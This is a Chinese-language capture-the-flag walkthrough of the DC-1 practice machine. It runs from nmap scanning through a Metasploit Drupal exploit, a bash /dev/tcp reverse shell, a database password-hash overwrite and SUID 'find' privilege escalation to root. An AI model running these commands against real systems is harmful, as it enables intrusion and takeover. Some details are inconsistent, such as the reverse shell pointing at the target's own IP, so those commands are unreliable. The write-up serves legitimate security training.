0x01 信息收集
启动DC1靶机发现没有登录密码
DC1和kali使用桥接模式与物理机连接,相当于在同一个网络下的3台主机
查看kali的ip,nmap扫描同段
nmap -sP 192.168.5.0/24
扫描靶机开放端口
nmap 192.168.5.65 -p- (加-A 综合扫描,不需要)
目标开启了80端口,访问发现是Drupal站
drupal是三大PHP CMS 之一:drupal WordPress Joomla 由于是开源的网站,所以应该有很多公开的漏洞
同时目标还开了22端口,可以用ssh爆破
扫描网站目录
dirb 192.168.5.65
查看robots.txt,发现更新信息有网站版本
0x02 尝试攻击
进入msfconsole模块,搜寻drupal
使用第四个攻击模块
查看可攻击的目标,包含网站版本,可能攻击成功
设置相关选项,使用反弹连接,查看可使用的payload
show options
set rhosts 192.168.5.65
检查确认后执行(run.exploit都行)
建立连接,查看目录发现flag1.txt
提示config配置文件,百度找了一下durpal配置文件在/sites/default/settings.php
发现flag2.txt和数据库密码,提示爆破和目录攻击不是唯一方法
使用shell获得普通用户权限,创建python伪终端获得python提供的标准shell
方便操作
python -c 'import pty;pty.spawn("/bin/bash")' //具体看python版本
查看3306端口是否开放
netstat -anptl
只允许本地连接,所以需要反弹shell
kali监听2333端口
nc -lvp 2333
目标机执行shell反弹命令
bash -i >& /dev/tcp/192.168.5.65/2333 0>&1 //命令详解见总结
登录mysql
mysql -udbuser -pR0ck3t
查询数据库
show databases
use drupaldb;
查表
show tables;
查看users表
select * from usersG;
密码是使用该cms特有的hash算法,查找hash文件
scripts录有password-hash.sh文件。思路为用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的。
php scripts/password-hash.sh abcde 在www下使用scripts/password-hash.sh文件生成asdfg密码的密文
php scripts/password-hash.sh abcde //这里不知道为什么要退回上级目录才能成功使用脚本
修改数据库存储的密码
update users set pass="密文" where uid=1;
回到网站登录, dashboard板块发现flag3.txt
提示可以用find提权
查看/etc/passwd,发现flag4
home目录下找到flag4
内核提权进入root
提权之前我们需要看系统中是否有一些命令具有SUID标识—如果命令有SUID标识,说明这些命令在执行过程中会有短暂的root权限
查看具有SUID权限的命令
find /-perm -4000 2>/dev/null
上面这些命令在执行时都会短暂获得root权限,使用这些命令执行另一些命令时,那些命令也相应具有短暂的root权限
find flag4.txt -exec "/bin/sh" ;